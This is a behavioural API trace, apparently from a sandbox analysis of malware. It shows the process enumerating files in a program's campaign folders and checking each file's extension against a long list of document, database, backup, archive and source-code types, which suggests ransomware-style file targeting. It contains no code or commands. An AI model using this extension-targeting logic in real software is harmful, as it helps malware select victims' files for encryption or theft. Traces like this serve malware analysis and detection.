lstrlenW (lpString=".f4v") returned 4 [0181.257] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".fido") returned 5 [0181.257] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0181.257] lstrlenW (lpString=".flm") returned 4 [0181.257] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".flv") returned 4 [0181.257] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".frm") returned 4 [0181.257] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".fxg") returned 4 [0181.257] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".geo") returned 4 [0181.257] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0181.257] lstrlenW (lpString=".gif") returned 4 [0181.257] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0181.258] lstrlenW (lpString=".grs") returned 4 [0181.258] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0181.258] lstrlenW (lpString=".gz") returned 3 [0181.258] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0181.258] lstrlenW (lpString=".h") returned 2 [0181.258] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.258] lstrlenW (lpString=".hdr") returned 4 [0181.258] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0181.258] lstrlenW (lpString=".hpp") returned 4 [0181.258] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0181.258] lstrlenW (lpString=".hta") returned 4 [0181.258] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0181.258] lstrlenW (lpString=".htc") returned 4 [0181.258] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0181.258] lstrlenW (lpString=".htm") returned 4 [0181.258] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0181.258] lstrlenW (lpString=".html") returned 5 [0181.258] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0181.258] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.258] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0181.258] lstrlenW (lpString=".1cd") returned 4 [0181.258] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.258] lstrlenW (lpString=".3ds") returned 4 [0181.258] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.258] lstrlenW (lpString=".3fr") returned 4 [0181.258] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.258] lstrlenW (lpString=".3g2") returned 4 [0181.258] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.258] lstrlenW (lpString=".3gp") returned 4 [0181.258] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.258] lstrlenW (lpString=".7z") returned 3 [0181.259] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.259] lstrlenW (lpString=".accda") returned 6 [0181.259] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0181.259] lstrlenW (lpString=".accdb") returned 6 [0181.259] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0181.259] lstrlenW (lpString=".accdc") returned 6 [0181.259] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0181.259] lstrlenW (lpString=".accde") returned 6 [0181.259] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0181.259] lstrlenW (lpString=".accdt") returned 6 [0181.259] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0181.259] lstrlenW (lpString=".accdw") returned 6 [0181.259] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0181.259] lstrlenW (lpString=".adb") returned 4 [0181.259] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.259] lstrlenW (lpString=".adp") returned 4 [0181.259] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.259] lstrlenW (lpString=".ai") returned 3 [0181.259] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.259] lstrlenW (lpString=".ai3") returned 4 [0181.259] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.259] lstrlenW (lpString=".ai4") returned 4 [0181.259] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.259] lstrlenW (lpString=".ai5") returned 4 [0181.259] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.259] lstrlenW (lpString=".ai6") returned 4 [0181.259] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.259] lstrlenW (lpString=".ai7") returned 4 [0181.259] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.259] lstrlenW (lpString=".ai8") returned 4 [0181.259] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.259] lstrlenW (lpString=".anim") returned 5 [0181.259] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0181.259] lstrlenW (lpString=".arw") returned 4 [0181.259] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".as") returned 3 [0181.260] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0181.260] lstrlenW (lpString=".asa") returned 4 [0181.260] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".asc") returned 4 [0181.260] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".ascx") returned 5 [0181.260] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0181.260] lstrlenW (lpString=".asm") returned 4 [0181.260] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".asmx") returned 5 [0181.260] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0181.260] lstrlenW (lpString=".asp") returned 4 [0181.260] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".aspx") returned 5 [0181.260] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0181.260] lstrlenW (lpString=".asr") returned 4 [0181.260] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".asx") returned 4 [0181.260] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".avi") returned 4 [0181.260] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".avs") returned 4 [0181.260] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".backup") returned 7 [0181.260] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0181.260] lstrlenW (lpString=".bak") returned 4 [0181.260] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".bay") returned 4 [0181.260] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0181.260] lstrlenW (lpString=".bd") returned 3 [0181.260] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0181.260] lstrlenW (lpString=".bin") returned 4 [0181.260] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".bmp") returned 4 [0181.261] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".bz2") returned 4 [0181.261] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".c") returned 2 [0181.261] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.261] lstrlenW (lpString=".cdr") returned 4 [0181.261] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".cer") returned 4 [0181.261] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".cf") returned 3 [0181.261] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0181.261] lstrlenW (lpString=".cfc") returned 4 [0181.261] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".cfm") returned 4 [0181.261] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".cfml") returned 5 [0181.261] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0181.261] lstrlenW (lpString=".cfu") returned 4 [0181.261] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".chm") returned 4 [0181.261] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".cin") returned 4 [0181.261] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".class") returned 6 [0181.261] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0181.261] lstrlenW (lpString=".clx") returned 4 [0181.261] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0181.261] lstrlenW (lpString=".config") returned 7 [0181.262] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0181.262] lstrlenW (lpString=".cpp") returned 4 [0181.262] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".cr2") returned 4 [0181.262] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".crt") returned 4 [0181.262] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".crw") returned 4 [0181.262] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".cs") returned 3 [0181.262] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0181.262] lstrlenW (lpString=".css") returned 4 [0181.262] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".csv") returned 4 [0181.262] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".cub") returned 4 [0181.262] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".dae") returned 4 [0181.262] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".dat") returned 4 [0181.262] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".db") returned 3 [0181.262] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0181.262] lstrlenW (lpString=".dbf") returned 4 [0181.262] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".dbx") returned 4 [0181.262] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".dc3") returned 4 [0181.262] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".dcm") returned 4 [0181.262] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".dcr") returned 4 [0181.262] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0181.262] lstrlenW (lpString=".der") returned 4 [0181.263] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".dib") returned 4 [0181.263] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".dic") returned 4 [0181.263] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".dif") returned 4 [0181.263] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".divx") returned 5 [0181.263] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0181.263] lstrlenW (lpString=".djvu") returned 5 [0181.263] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0181.263] lstrlenW (lpString=".dng") returned 4 [0181.263] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".doc") returned 4 [0181.263] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".docm") returned 5 [0181.263] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0181.263] lstrlenW (lpString=".docx") returned 5 [0181.263] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0181.263] lstrlenW (lpString=".dot") returned 4 [0181.263] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".dotm") returned 5 [0181.263] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0181.263] lstrlenW (lpString=".dotx") returned 5 [0181.263] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0181.263] lstrlenW (lpString=".dpx") returned 4 [0181.263] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".dqy") returned 4 [0181.263] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0181.263] lstrlenW (lpString=".dsn") returned 4 [0181.264] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".dt") returned 3 [0181.264] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0181.264] lstrlenW (lpString=".dtd") returned 4 [0181.264] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".dwg") returned 4 [0181.264] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".dwt") returned 4 [0181.264] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".dx") returned 3 [0181.264] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0181.264] lstrlenW (lpString=".dxf") returned 4 [0181.264] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".edml") returned 5 [0181.264] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0181.264] lstrlenW (lpString=".efd") returned 4 [0181.264] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".elf") returned 4 [0181.264] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".emf") returned 4 [0181.264] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".emz") returned 4 [0181.264] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".epf") returned 4 [0181.264] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".eps") returned 4 [0181.264] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".epsf") returned 5 [0181.264] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0181.264] lstrlenW (lpString=".epsp") returned 5 [0181.264] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0181.264] lstrlenW (lpString=".erf") returned 4 [0181.264] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0181.264] lstrlenW (lpString=".exr") returned 4 [0181.264] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0181.265] lstrlenW (lpString=".f4v") returned 4 [0181.265] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0181.265] lstrlenW (lpString=".fido") returned 5 [0181.265] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0181.265] lstrlenW (lpString=".flm") returned 4 [0181.265] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0181.265] lstrlenW (lpString=".flv") returned 4 [0181.265] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0181.265] lstrlenW (lpString=".frm") returned 4 [0181.265] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0181.265] lstrlenW (lpString=".fxg") returned 4 [0181.265] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0181.265] lstrlenW (lpString=".geo") returned 4 [0181.265] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0181.265] lstrlenW (lpString=".gif") returned 4 [0181.265] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0181.265] lstrlenW (lpString=".grs") returned 4 [0181.274] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0181.274] lstrlenW (lpString=".gz") returned 3 [0181.274] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0181.274] lstrlenW (lpString=".h") returned 2 [0181.274] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.274] lstrlenW (lpString=".hdr") returned 4 [0181.274] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0181.274] lstrlenW (lpString=".hpp") returned 4 [0181.274] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0181.274] lstrlenW (lpString=".hta") returned 4 [0181.274] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0181.274] lstrlenW (lpString=".htc") returned 4 [0181.274] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0181.274] lstrlenW (lpString=".htm") returned 4 [0181.274] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0181.274] lstrlenW (lpString=".html") returned 5 [0181.274] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0181.275] lstrlenW (lpString=".icb") returned 4 [0181.275] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0181.275] lstrlenW (lpString=".ics") returned 4 [0181.275] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0181.275] lstrlenW (lpString=".iff") returned 4 [0181.275] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0181.275] lstrlenW (lpString=".inc") returned 4 [0181.275] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0181.275] lstrlenW (lpString=".indd") returned 5 [0181.275] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0181.275] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0181.275] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0181.275] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0181.275] FindClose (in: hFindFile=0x485058 | out: hFindFile=0x485058) returned 1 [0181.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.277] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0181.277] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0181.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0181.547] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.548] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.548] lstrlenW (lpString="index.html") returned 10 [0181.548] lstrlenW (lpString=".1cd") returned 4 [0181.548] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.548] lstrlenW (lpString=".3ds") returned 4 [0181.548] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.548] lstrlenW (lpString=".3fr") returned 4 [0181.548] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.548] lstrlenW (lpString=".3g2") returned 4 [0181.548] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.548] lstrlenW (lpString=".3gp") returned 4 [0181.548] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0181.548] lstrlenW (lpString=".7z") returned 3 [0181.548] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.548] lstrlenW (lpString=".accda") returned 6 [0181.548] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.548] lstrlenW (lpString=".accdb") returned 6 [0181.548] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.548] lstrlenW (lpString=".accdc") returned 6 [0181.548] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.548] lstrlenW (lpString=".accde") returned 6 [0181.548] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.548] lstrlenW (lpString=".accdt") returned 6 [0181.548] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.549] lstrlenW (lpString=".accdw") returned 6 [0181.549] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.549] lstrlenW (lpString=".adb") returned 4 [0181.549] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.549] lstrlenW (lpString=".adp") returned 4 [0181.549] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.549] lstrlenW (lpString=".ai") returned 3 [0181.549] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.549] lstrlenW (lpString=".ai3") returned 4 [0181.549] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.549] lstrlenW (lpString=".ai4") returned 4 [0181.549] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.549] lstrlenW (lpString=".ai5") returned 4 [0181.550] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.550] lstrlenW (lpString=".ai6") returned 4 [0181.550] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.550] lstrlenW (lpString=".ai7") returned 4 [0181.550] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.550] lstrlenW (lpString=".ai8") returned 4 [0181.550] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.550] lstrlenW (lpString=".anim") returned 5 [0181.550] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.550] lstrlenW (lpString=".arw") returned 4 [0181.550] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.550] lstrlenW (lpString=".as") returned 3 [0181.551] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.551] lstrlenW (lpString=".asa") returned 4 [0181.551] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.551] lstrlenW (lpString=".asc") returned 4 [0181.551] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.551] lstrlenW (lpString=".ascx") returned 5 [0181.551] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.551] lstrlenW (lpString=".asm") returned 4 [0181.551] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.551] lstrlenW (lpString=".asmx") returned 5 [0181.551] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.551] lstrlenW (lpString=".asp") returned 4 [0181.551] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.551] lstrlenW (lpString=".aspx") returned 5 [0181.551] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.551] lstrlenW (lpString=".asr") returned 4 [0181.551] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.551] lstrlenW (lpString=".asx") returned 4 [0181.551] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.551] lstrlenW (lpString=".avi") returned 4 [0181.551] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.551] lstrlenW (lpString=".avs") returned 4 [0181.551] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.551] lstrlenW (lpString=".backup") returned 7 [0181.551] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.551] lstrlenW (lpString=".bak") returned 4 [0181.552] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".bay") returned 4 [0181.552] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".bd") returned 3 [0181.552] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.552] lstrlenW (lpString=".bin") returned 4 [0181.552] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".bmp") returned 4 [0181.552] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".bz2") returned 4 [0181.552] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".c") returned 2 [0181.552] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.552] lstrlenW (lpString=".cdr") returned 4 [0181.552] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".cer") returned 4 [0181.552] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.552] lstrlenW (lpString=".cf") returned 3 [0181.552] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.552] lstrlenW (lpString=".cfc") returned 4 